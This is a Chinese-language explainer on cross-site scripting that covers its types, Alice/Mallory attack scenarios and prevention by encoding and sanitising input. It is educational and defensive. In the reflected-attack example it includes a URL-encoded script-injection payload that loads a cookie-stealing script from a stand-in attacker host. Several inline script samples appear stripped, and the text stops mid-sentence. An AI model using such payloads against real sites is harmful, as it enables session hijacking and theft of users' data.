跨站脚本(XSS)是web应用中的一种典型的计算机安全漏洞。XSS允许攻击者可以在其他用户浏览的web页面中注入客户端脚本。一个跨站脚本漏洞可能会被攻击者用来绕开访问限制,例如同源策略。Symantec在2007年发布的报告中跨站脚本漏洞大概占所有网站漏洞的84%。跨站脚本的影响从一个小麻烦到一个重要的安全风险,主要看有这种漏洞的网站中数据的敏感性以及站点所有者所做的安全应对策略。
背景
web安全依赖多种不同的机制,包括一个被信任的基本概念,即同源策略。实质上就是一个站点(https://mybank.example1.com
)上的内容被授予访问系统上资源的权限,这个站点的其他内容也贡献这些授权,然而其他站点(https://othersite.example2.com
)上的内容将会被单独授予权限。
跨站脚本攻击是基于web应用中已知的漏洞,服务端,或者依赖的插件系统。利用其中一种方式,攻击者可以把恶意内容放进目标站点传输的内容中。当这种结合的内容到达客户端的浏览器中,它就已经变成从受信任的来源传输的,然后在系统授权下进行操作。通过寻找把恶意脚本注入web页面的方法,攻击者可以获取对敏感页面的访问权限,例如对session cookie和浏览器代表用户维护的其他信息。跨站脚本攻击是代码注入的一种方式。
微软安全工程师在2000年一月份提出“跨站脚本”的术语。“跨站脚本”刚开始要表达的意思是来自不相关攻击地点的第三方站点,通过执行攻击者在目标域的安全上下文中准备的js代码片段来加载攻击的行为(利用一个反射型或者非持久性的XSS漏洞)。这种概念逐渐扩展到包含其它的代码注入模式,包括持久性非js载体(包括ActiveX,Java,VBScript,Flash,甚至HTMl脚本),给安全信息领域的新人带来一些困惑。
XSS漏洞从1990年就开始被报道和利用。过去受影响的知名站点包括社交站点Twitter,Facebook,Myspace,YouTube和Orkut(包括2011年微博遇到的XSS攻击)。跨站脚本缺陷已经超过缓冲区溢出缺陷成为报告中最常见的安全漏洞,一些研究者估算在2007年大概68%的站点可能会被XSS攻击。
类型
对跨站脚本缺陷没有一个标准的分类,但是大部分专家会区分至少两种XSS缺陷类型:非持久型和持久型。一些来源进一步的把这些划分成两组,传统的(服务端代码缺陷导致的)和基于DOM的(客户端代码导致的)。
反射型(非持久型)
到目前为止,非持久型(反射型)跨站脚本漏洞是最基本的web漏洞。当web客户端提供数据时,就会出现这种漏洞,常见于HTTP查询参数(例如,HTML表单提交),服务端脚本在没有正确过滤请求时,就立即解析并展示页面结果给用户。
因为html文档是流式结构并且混合了控制状态,格式化,真实内容,结果页面中包含的任何未经验证的用户提交数据,如果没有正确的进行html编码,都有可能导致标签注入。一个典型例子是一个网站搜索引擎:如果搜索了一个字符串,这个搜索字符串通常会在搜索页再显示一次,告诉用户搜索了什么。如果响应没有正确忽略或者拒绝html控制字符串,跨站脚本风险随之而来。
一次反射型攻击通常通过邮件或者中立的站点来实施。诱饵通常是一个看起来安全的url,指向一个受信任的站点,但是包含XSS载体。如果受信任的站点容易受到载体影响,点击这个链接可能会导致受害者的浏览器执行注入脚本。
持久型
持久型(又称存储型)XSS漏洞是一种更有破坏性的跨站脚本缺陷的变种:当攻击者提供的数据保存到了服务端,然后永久的显示在“正常”页面,并且其他用户在浏览器是可以看到,如果这些数据没有经过正确的html编码,就会发生这种攻击。一个典型的例子就是在线留言板,允许用户发布html格式的信息,可以让其他用户看到。
例如,假设有一个数据站点,其中的会员浏览了其他会员的信息,看下是否感兴趣。由于隐私的原因,这个站点会隐藏每个用户的真实姓名和email,这些信息加密保存在服务端,只有当会员登录后才能在浏览器中看到自己真实的姓名和email,但是不能查看其他人的。
假设有一个攻击者,加入了这个站点,并且想要估算出他在站点上看到的用户的真实姓名。要做到这一点,他写了一段脚本,目的是当其他用户看他的个人信息时可以在其他人的浏览器上运行。然后这段脚本发送信息到他自己的服务器,然后就可以搜集这些信息。
为了这么做,对于“描述你的第一次约会”这样问题,攻击者给了一个简短答案(看起来很正常),但是在攻击者答案的最后是一段窃取姓名和email的脚本,如果脚本内嵌在标签中,它就不会在屏幕上显示。然后假设这个站点上的另一个用户看到了攻击者的个人信息,并且查看了攻击者对“描述你的第一次约会”问题的回答,然后攻击者的脚本就会通过浏览器自动的运行,并且从用户自己的机器上窃取了他的真实姓名和email。
持久性XSS漏洞比其他类型都要重要,因为攻击者的恶意脚本可以自动渲染,不需要单独定位受害者或者诱使受害者到第三方网站。特别在一些社交网站上,这些代码可以进一步的通过账号体系被设计成自蔓延型,创造一种客户端蠕虫病毒。
注入方法可以变化很大;在一些场景中,攻击者甚至都不需要与web有功能性的交互。web应用接收的(通过邮件,系统日志,IM等)任意可以被攻击者控制的数据都有可能变成注入载体。
服务端与基于DOM的漏洞
以往第一次发现的XSS漏洞发生在所有数据处理都在服务端完成的应用中。用户输入(包含一个XSS载体)将会被发送到服务端,然后作为一个web页面返回给用户。为了提高用户体验,主流的web应用有大部分的展示逻辑是在客户端运行的,通过AJAX的方式从服务端拉取或者请求数据。
js代码也可以处理用户输入,然后渲染到页面内容中,一种新的反射型XSS攻击的子类型开始出现,被称为基于DOM的跨站脚本攻击。在基于DOM的跨站脚本攻击中,恶意数据不用和服务端交互。相反,它会被js代码完全反射在客户端侧执行。
基于DOM的XSS漏洞的例子是2011年在JQuery插件中发现的一个bug。阻止这种攻击的策略和对待传统XSS攻击的策略类似,只不过是在js代码中实施。一些js框架内建了防止XSS攻击的处理策略,例如Angular.js。
Self-XSS
Self-XSS是XSS漏洞的一种形式,依赖社会工程学来诱导受害者在他们的浏览器中执行恶意js代码。尽管在技术上它不是一个真正的XSS漏洞,因为它是利用社会工程学让用户执行代码而不是利用站点缺陷来这么做,但是如果执行得当,它也会有常规XSS漏洞一样的风险。
突变XSS(mXSS)
当攻击者注入了一些看起来安全的内容的,但是浏览器在解析标签时重写修改了这些内容,就有可能发生突变XSS攻击。很难在站点应用的逻辑中侦测或者清除它。一个例子就是重新调整未闭合的引号或者为CSS的字体参数添加引号参数。
开发示例
攻击者想要利用跨站脚本漏洞,必须以不同的方式对待每种漏洞。对于每一种类型的漏洞,下面都会描述一种特定的攻击载体。下面用到的姓名是专业术语,取自计算机安全领域常用的Alice和Bob。浏览器开发框架可以被用来攻击web站点和用户的本地环境。
非持久型
Alice经常访问一个特殊站点,这个站点是Bob托管的。Bob的站点允许Alice以用户名/密码的方式登录,也存储一些敏感信息,例如账单信息。当用户登录时,浏览器保存了一个授权cookie,授权cookie看起来就像无效的字符串,所以客户端,服务端都记得她登录过。
-
Mallory观察发现Bob的站点包含一个反射型XSS漏洞:
- 当她访问搜索页面时,她在输入框中输入一个搜索术语然后点击了提交按钮。如果没有找到搜索结果,页面将会展示她搜索的术语然后加上“not found”关键词,此时的url也变成了
http://bobssite.org?q=搜索的术语
。 - 一个正常的搜索查询,像"puppies"这个词,页面简单的显示“puppies not found”,url变成了"
http://bobssite.org?q=puppies
",这是一个正常行为。 - 但是,当她提交了一个异常查询条件,像"
",
1.出现一个alert弹窗(提示"xss")。
2.页面显示"没有找到",然后一个错误的消息提示'xss'。
3.url变成了"http://bobssite.org?q=
"——这是可以利用的行为。
- 当她访问搜索页面时,她在输入框中输入一个搜索术语然后点击了提交按钮。如果没有找到搜索结果,页面将会展示她搜索的术语然后加上“not found”关键词,此时的url也变成了
-
Mallory伪造了一个URL来利用这种漏洞:
- 她创建了一个URL
http://bobssite.org?q=puppies
。她可以选择把ASCII字符串转成十六进制格式,例如:http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E
,所以当被人看到时无法立马识别这个恶意URL。 - 她给Bob站点的一些信任用户发送一封邮件,告诉他们"查收可爱的狗狗!"
- 她创建了一个URL
Alic收到了这封邮件,她喜欢狗狗,然后点击了这个链接。然后跳转到Bob站点的搜索页,没有找到任何东西,只是显示了"没有找到狗狗",然后脚本标签执行了,载入了Mallory的脚本authstealer.js(触发了XSS攻击).Alice忘记了这个。
authstealer.js脚本在Alice的浏览器中执行了,就好像它是从Bob的站点加载的。它抓取了Alice的授权Cookie,然后把它发送到Mallory的服务器,然后Mallory获取到它。
Mallory现在把Alice的授权Cookie放进她自己的浏览器,就好像它是自己的一样。然后她打开Bob的站点,以Alice的身份登录了。
登录之后,Mallory进入账单模块,找到Alice的信用卡号码,然后拷贝了一。然后她更改了密码,这样Alice就不能再登录了。
她决定更进一步,发送一个相似的链接给Bob自己,为了获取管理员权限。
可以通过以下几件事情来降低这种攻击风险:
搜索框有正确的编码检查。
服务端设置成重定向无效请求。
服务端可以检测到同时登陆,然后失效session。
服务端检测来自不同IP地址的同时登陆,然后失效session。
站点可以只显示用户使用的信用卡后几位数字。
在更改注册信息时,站点要求用户再次输入密码。
站点可以制定不同方面的内容安全策略。
教育用户不要点击看起来良好,但实际恶意的链接。
把cookie设置成
HttpOnly
,阻止js获取。
持久型攻击
Mallory获取了Bob站点上的一个账号。
Mallory观察发现Bob的站点包含一个存储型XSS漏洞。如果去新闻版块,然后发表一条评论,无论他在评论区输入什么都会被显示出来。但是如果评论文本包含HTML标签,标签将会按照原本要显示的方式显示出来的话,任意的script标签都可以运行。
Mallory在新闻版本读了一条新闻,然后再评论区增加了一条评论。在评论内容中,她插入了这样的文本:
I love the puppies in this story! They're so cute!
。当Alice或者其他人加载了带这条评论的页面,Mallory的脚本开始执行,然后窃取了Alice的授权cookie,然后发送给Mallory的服务端。
现在Mallory可以劫持了Alice的Session,并且可以冒充Alice。
Bob的站点应该可以剥离这些脚本标签或者做某些处理不让脚本标签生效,但是实际上他并没有处理这个安全漏洞。
预防手段
上下文输出编码/转码字符串输入
上下文输出编码/转码可以被用来作为基本的防御机制来阻止XSS攻击。有几转码机制可以使用,依赖不受信任的字符串需要放在HTML文档里面的那个位置,包括html实体编码,js转码,css转码,URL编码。大部分不需要接受富文本的web应用可以以一种直接的方式使用转码消除大部分的XSS攻击。
尽管广泛推荐,HTML实体编码只有五种有意义的字符,不足够阻止形式多样的XSS攻击。由于编码并不简单,所以安全编码库通常更容易使用。
安全验证不可信的HTML输入
有些特殊的web应用允许用户使用某些HTML标签。接受用户的HTML输入(例如very large),输出编码( very large)就够了,因为用户输入需要浏览器解析成HTML渲染,所以会显示成“very large”,而不是“very large”。在接受用户HTML输入的时候阻止XSS攻击比这种情况要复杂的多。不受信任的HTML输入必须通过一个HTML过滤引擎来确保不含有XSS代码。
还需要注意许多验证依赖具体解析的html标签(黑名单),例如下面的